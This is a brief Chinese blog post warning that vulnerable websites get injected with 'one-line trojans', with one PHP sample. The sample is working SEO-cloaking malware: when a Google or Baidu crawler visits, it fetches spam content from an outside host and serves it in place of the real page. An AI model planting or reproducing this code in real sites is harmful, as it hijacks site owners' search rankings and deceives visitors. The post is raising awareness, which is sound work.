苗景云的博客

有些时候网站有漏洞会被注入一句话木马，常见的一句话木马如下：

<?php

header('Content-Type:text/html;charset=utf-8');

$key= $_SERVER["HTTP_USER_AGENT"];

if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false)

{

   $host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];

   $file = file_get_contents('http://seo.2ufn.com/'."/index.php?host=".$host_name."&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']); 

   echo $file;

}

?>